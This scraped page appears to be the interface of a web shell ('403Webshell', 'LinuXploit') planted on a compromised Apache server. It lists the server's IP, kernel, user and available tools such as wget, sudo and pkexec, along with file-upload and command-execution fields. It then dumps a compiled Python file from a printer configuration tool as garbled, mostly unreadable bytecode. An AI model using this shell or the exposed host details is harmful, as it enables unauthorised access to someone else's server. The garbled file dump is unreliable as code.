403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/system-config-printer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/system-config-printer/authconn.pyc
Jc@s=ddkZddkZddkZddkZddkZddkZddkTddkZddkTda	dZ
dZdeifdYZ
dfd	YZed
jo}eiiddklZeeeedefiZed
eieeeidddfiGHndS(iN(t*cCs|S(((tx((s,/usr/share/system-config-printer/authconn.pyt<lambda>scCs|S(((R((s,/usr/share/system-config-printer/authconn.pyRscCs
|adS(N(t_(tfn((s,/usr/share/system-config-printer/authconn.pytset_gettext_function st
AuthDialogcBseZhedd6edd6edd6ZddeieiBeiei	ei
eifddgedZ
dZdZd	Zd
ZdZRS(
s	Username:tusernames	Password:tpasswordsDomain:tdomainc	Cs|djotd}ntii|||||||_|iti|id|i	t
tit
d}|idti}|i
titi|idd|i|t
t
dtit
d}	ti|_|	i|it
t
dt|}
ti|
d}|id|idg|_xt|
D]}||}
tit|ii|
|
}|idd|i|dd||dti}|i|
d	j|i|dd||ddd|ii |q[W|i|
di!t"|	i|t
t
d|i|	t
t
d|i#i||o<ti$td
}|i%t
|	i|||_&n|i#i'dS(NtAuthenticationiigiig?iRsRemember password((tNoneRtgtktDialogt__init__tauth_info_requiredtset_default_responsetRESPONSE_OKtset_border_widtht
set_resizabletFalsetHBoxtImagetset_from_stocktSTOCK_DIALOG_AUTHENTICATIONtICON_SIZE_DIALOGt
set_alignmentt
pack_starttVBoxtLabeltprompt_labeltlentTabletset_row_spacingstset_col_spacingstfield_entrytranget
AUTH_FIELDtgettattachtEntrytset_visibilitytappendtset_activates_defaulttTruetvboxtCheckButtont
set_activetremember_checkboxtshow_all(tselfttitletparenttflagstbuttonsRtallow_rememberthboxtimageR-t
num_fieldsttabletitfieldtlabeltentrytcb((s,/usr/share/system-config-printer/authconn.pyR)sT
	





	

$#


cCsO|iid|d|iit|iidd|iitdS(Ns"<span weight="bold" size="larger">s</span>i(Rt
set_markuptset_use_markupR,Rt
set_line_wrap(R2tprompt((s,/usr/share/system-config-printer/authconn.pyt
set_prompt^s
	cCs<x5tt|iD]}|i|i||qWdS(N(R$RR#tset_text(R2t	auth_infoR<((s,/usr/share/system-config-printer/authconn.pyt
set_auth_infoescCstd|iS(NcSs
|iS((tget_text(R((s,/usr/share/system-config-printer/authconn.pyRjs(tmapR#(R2((s,/usr/share/system-config-printer/authconn.pyt
get_auth_infoiscCs,y|iiSWntj
otSXdS(N(R0t
get_activetAttributeErrorR(R2((s,/usr/share/system-config-printer/authconn.pytget_remember_passwordlscCs'|ii|}|i|idS(N(RtindexR#t
grab_focus(R2R=R<((s,/usr/share/system-config-printer/authconn.pytfield_grab_focusrsN(t__name__t
__module__tN_R%RRtDIALOG_MODALtDIALOG_NO_SEPARATORtSTOCK_CANCELtRESPONSE_CANCELtSTOCK_OKRRRRERHRKRNRQ(((s,/usr/share/system-config-printer/authconn.pyR$s

	0				t
ConnectioncBseZdeeddddZdZdZdZdZ	dZ
dZdZdZ
d	Zd
ZedZdZd
ZdZdZdZdZRS(cCs|djoti|n|djoti|n|djoti|nd|_||_||_ti|_	ti
|_ti|_
ti|_t|_g|_||_ti|_|idS(Nt(Rtcupst	setServertsetPortt
setEncryptiont
_use_passwordt_parentt_try_as_roottgetUsert	_use_usert	getServert_servertgetPortt_portt
getEncryptiont_encryptionR,t_prompt_allowedt_operation_stackt_lockt	threadingtEventt
_gui_eventt_connect(R2R4ttry_as_roottlockthosttportt
encryption((s,/usr/share/system-config-printer/authconn.pyRws$


						cCs|ii|dS(N(RlR*(R2t	operation((s,/usr/share/system-config-printer/authconn.pyt_begin_operationscCs|iidS(N(Rltpop(R2((s,/usr/share/system-config-printer/authconn.pyt_end_operationscCs|iS(N(Rk(R2((s,/usr/share/system-config-printer/authconn.pyt_get_prompt_allowedscCs
||_dS(N(Rk(R2tallowed((s,/usr/share/system-config-printer/authconn.pyt_set_prompt_allowedscCs
||_dS(N(Rm(R2twhether((s,/usr/share/system-config-printer/authconn.pyt	_set_lockscCsti|i|iddjp|idjotidj|_tio|i	o
t
|_n|io
ti}n
ti}|d|id|i
d|i|_|io|ii|in|i|_td|it|ii}t|ii}x}t|iD]l}|ddjoq$nt|i|}t|||gjoq$nt|||i||q$WdS(	Nit/t	localhostRtRuRvsConnected as user %sR(R\tsetUserRdRftostgetuidt_use_pktconfigt
WITH_POLKIT_1RmRtcupspkRZRhRjt_connectiont
set_parentRat_usert
debugprintttypetgetPrinterst
addPrintertdirtgetattrtsetattrt
_make_binding(R2t
create_objecttmethodtype_lambdatmethodtype_realtfnameR((s,/usr/share/system-config-printer/authconn.pyRqs2$


		
csfdS(Ncsi||S((t	_authloop(targstkwds(RR2R(s,/usr/share/system-config-printer/authconn.pyRs((R2RR((R2RRs,/usr/share/system-config-printer/authconn.pyRscOsd|_|i}t}x|p|idjol||ijot|i|}|i}nti|iyN|i||}|djo*|hjoti	ti
dqnPWqti	j
og\}}	|io)|	djoti	dtdn|i
o:|ti
jp|tijo|i|tijq|i
o|tijo|io4|iitid|i|	|iin|i|	|itijo#tdt}|id8_q6t|_
q|i
o'|ioti	dtdnqtij
oT\}
|i
o:|
tijp|
ti jo|i|
ti jqqXqW|S(NitadminGetServerSettingsR[tpkcancelsOperation canceledisretrying operation...(!t_passesRRt_perform_authenticationRR\RRdt__call__tIPPErrortIPP_NOT_AUTHORIZEDRRt_cancelt
IPP_FORBIDDENt_failedtIPP_SERVICE_UNAVAILABLERmRptcleartgobjectttimeout_addt_ask_retry_server_errortwaitt_retry_responseRRRR,t_cannot_autht	HTTPErrortHTTP_UNAUTHORIZEDtHTTP_FORBIDDEN(R2RRRRtctretrytresulttetmts((s,/usr/share/system-config-printer/authconn.pyRsT		






	
c	Cs|iotiinytd|id}Wntj
otd}nXti|iti	ti
Btiti|}|i
td||itititdti|iti|io$|id|itiin|i|_|idS(NsCUPS server error (%s)isCUPS server errors3There was an error during the CUPS operation: '%s'.tRetrytresponse(RmRtgdkt
threads_enterRRlt
IndexErrort
MessageDialogRaRUtDIALOG_DESTROY_WITH_PARENTt
MESSAGE_ERRORtBUTTONS_NONEtformat_secondary_texttadd_buttonsRWRXRRtconnectt_on_retry_server_error_responset
threads_leavetrunRtdestroy(R2tmessagetmsgtd((s,/usr/share/system-config-printer/authconn.pyRs,
	
cCs$||_|i|iidS(N(RRRptset(R2tdialogR((s,/usr/share/system-config-printer/authconn.pyRs	
cCst|_||_dS(N(R,t_has_failedt
_forbidden(R2t	forbidden((s,/usr/share/system-config-printer/authconn.pyRs	cCs<td|ip
|iodSt|_||_|iS(NsGot password callbackR[(RRt_auth_calledR,t_promptR`(R2RD((s,/usr/share/system-config-printer/authconn.pyt_password_callbacks
		cCs^|id7_td|i|idjoUt|_t|_t|_t|_t|_t|_t	i
|itddStd|i|iptddSt|_|idjog|ioY|i
djoI|idd	jp
|io+td
d|_t|_|idSn|iptdt|_dS|ip!tdt|_t|_dSt|_|ioI|io1|iitid|i|iiq|in|io1|iitid|i|iin|i|iotd
dSt	i|itd|idS(NisAuthentication pass: %ds%Authentication: password callback sets
Forbidden: %ss$Authentication: Operation successfuliitrootRsAuthentication: Try as roots%Authentication: prompting not allowedsAuthentication: giving upt	cancelledisAuthentication: Reconnect(RRRRRRRRt
_dialog_shownR\t
setPasswordCBRRbRRfRdRqRkR,RmRpRRRt_show_not_authorized_dialogRt#_perform_authentication_with_dialogR(R2((s,/usr/share/system-config-printer/authconn.pyR&sl						


	
	
		
	

	

			









cCs|iotiinti|ititiBtiti	}|i
td|idtddtd|io8|i
d|i|i|itiin|i|idS(NsNot authorizeds"<span weight="bold" size="larger">s	</span>

sThe password may be incorrect.R(RmRRRRRaRURRt
BUTTONS_CLOSEt	set_titleRRARt"_on_not_authorized_dialog_responseR1tshow_nowRRR(R2R((s,/usr/share/system-config-printer/authconn.pyR|s$




cCs|ii|idS(N(RpRR(R2RR((s,/usr/share/system-config-printer/authconn.pyRs
cCsG|iotiint|idjoYytd|id}Wntj
otd}nXtd|d|i	}ntd|i	}|i
|i|i|i
dg|id|it|i|it|_|io$|id|itiin|i}|i||dS(	NisAuthentication (%s)R
R3R4R[RR(RmRRRRRlRRRRaRERRHRdRQtset_keep_aboveR,R1RRRt_on_authentication_responseRR(R2R3RR((s,/usr/share/system-config-printer/authconn.pyRs,




	
cCsn|i\|_|_|i|tijp|tijo
t|_n|i	o|i
indS(N(RKRdR`RRRXtRESPONSE_DELETE_EVENTR,RRmRpR(R2RR((s,/usr/share/system-config-printer/authconn.pyRs


N(RRRSRR,RRRxRzR{R}RRqRRRRRRRRRRR(((s,/usr/share/system-config-printer/authconn.pyRZvs&							!		8					V			t__main__(tTimedOperationRt	Connecteds/admin/conf/cupsd.confs/dev/stdout(RnR\RRRRterrordialogsRtdebugRRTRR
RRZRRRtthreads_initttimedopsRt
set_debuggingR,RRRRRtgetFile(((s,/usr/share/system-config-printer/authconn.pyt<module>s0

			RJ






Youez - 2016 - github.com/yon3zu
LinuXploit